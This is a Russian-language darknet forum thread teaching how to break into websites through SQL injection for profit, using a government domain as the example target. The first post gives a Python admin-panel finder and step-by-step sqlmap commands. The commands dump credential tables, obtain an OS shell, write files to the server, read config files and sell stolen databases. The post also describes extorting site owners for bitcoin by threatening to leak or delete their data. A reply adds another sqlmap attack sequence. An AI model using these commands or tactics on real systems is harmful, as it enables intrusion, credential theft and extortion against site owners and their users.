Расшариваем SQL уязвимости

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

lolik228

Участник

lolik228

Участник
2 Фев 2017
448
101
Обратите внимание, пользователь заблокирован на форуме. Не рекомендуется проводить сделки.
Всем доброго времени суток!
Допустим мы имеем URL pentagon.gov/index.php?id=INJECT_HERE
и хотим раскрутить сайт на шелл или админа на бабки.
С чего начать? Смотрим какие техники поддерживаются.
Если есть Stacked Queries, то нужно копать в сторону заливки шелла.
Если же есть Union или Error-based иньекция, копаем в сторону доступа в админку или слива БД.
Ну а если неповезло и попались Time-based и Boolean-based нужно попробовать достать логин и пасс MySQL.

Теперь разберем методы эксплуатации по подробнее:
(С использованием всем известной тулзы)
1. Поиск админки
Для этого подойдет любая техника иньекций.
Прежде чем рыть бд нужно найти админку сайта.
Вот небольшой скрипт на python 2.7 для поиска таковой:

#!/usr/bin/python
#-*-coding:utf8;-*-
import requests
from urlparse import urlparse
admins = "admin.php,admin,administrator.php,administrator,cp.php,cp,login.php,login,panel.php,panel,moderator.php,moderator,admin.html,login.html,adminlogin.php,user.php,user,singin.php,gate.php,adminer.php"
print "~"*20
print "Admin Finder By AimZ"
print " "*20 + "~"*20
print "Special for Runion users"
print "~"*20

def load(url):
resp = requests.get(url)
text = resp.text.lower()
if resp.status_code == 200 and "page not found" not in text:
return url

def find(url):
global admins
found = []
if "htt" in url and "/" in url and "." in url:
url = str(url+" ").replace("/ ", "")
for link in admins.split(","):
loaded = load(url + "/" + link)
if loaded != None:
found.append(loaded)
return found
else:
print "Incorrect url!"

url = raw_input("Enter url: ")
print "#"*20
for i in find(url):
print "Found: " + i


Если админка найдена, смотрим бд сайта:

sqlmap -u ... --current-db

Затем смотрим таблицы бд:

sqlmap -u ... -D database_name --tables

(заменяем database_name на имя бд)
Ищем таблицы типа users, admin, members,webmaster и тд.
Далее смотрим содержание таблиц:

sqlmap -u ... -D database_name -T users,admin,members,etc. --columns

Если есть поля username и password,
можно сливать.
Так же смотрим на поля, которые могут указывать на админа
(Например registration_date, is_admin)
Мудрость: первый зарегистрированный юзер скорее всего админ.
Если есть знания синтаксиса MySQL можно порытся с помощью --sql-shell, если же нет, просто сливаем таблицу.

sqlmap -u ... -D database_name -T admin -C username, password,is_admin --dump --threads 3

В таблице смотрим на поле с паролем.

!!Даже если там будет 40 символьное месево,все равно попробуйте войти с ним, а вдруг это не хеш?
Если не входится, идем брутить.
Далее заходим в админку и делаем дела.

2. Заливка шелла

Сразу скажу - это будет не просто!
Для заливки шеллкода необходимы Stacked Queries.
Сначала пробуем с помощю --os-shell, лучше всего льет на PostgreSQL.
Так же эксперементируем с --no--cast, --hex и тп.
Если не получилось, создаем файл test.txt и пишем туда несколько символов

sqlmap -u ... --file-write=test.txt --file-dest=/tmp/file

На вопрос Do you want to confirm that the source and destination files are same? отвечаем Y. Если пишет files are the same, бинго! У нас есть права на запись. Далее просто ишем путь до сайта и льем полезный код. Прав на запись в папку сайта может не быть.
Если в тмп не льется, переходим к следующему способу.
Так же есть и другие способы доступа к фс сервера с помощю бд, но о них в следующий раз.
Если же мы получили доступ к командной строке, можно попробовать эксплойтить локал рут.

3. Слив бд на продажу
Ну тут думаю обьяснять ничего не нужно.

sqlmap -u ... --threads 10 -D db --dump -o

4. Поиск ценной информации
Можно так же поискать в базе ценную информацию. Там могут быть пароли фтп, ssh и других протоколов.
Так же можно поискать файлы конфига с помощю --file-read.

5. Можно, но не советую,)
Прикидываем материальное положение сайта, предполагаем сколько админ готов платить,все через общение с тех.поддержкой.
Сливаем бд, если в ней есть что то ценное, угрожаем выложить бд в паблик если на такой то биткоин кошелек не будет переведенно столько то BTC.
Так же можно угрожать удалить бд.

Удачи))
 
  • Лайк
Reactions: colas

kotews

Участник

kotews

Участник
22 Мар 2017
3
0
scanner
sqlmap --user-agent=random -u example.com --form --crawl=2 --batch
=== HACK ===
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
--dbs
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-D (база) --tables
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-D (база) -T (tables) --columns
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
-D (база) -T (tables) -C username,password --dump
hash-identifier
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
--os-shell
sqlmap -u
Пожалуйста, Вход или Регистрация для просмотра содержимого URL-адресов!
--os-pwn
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя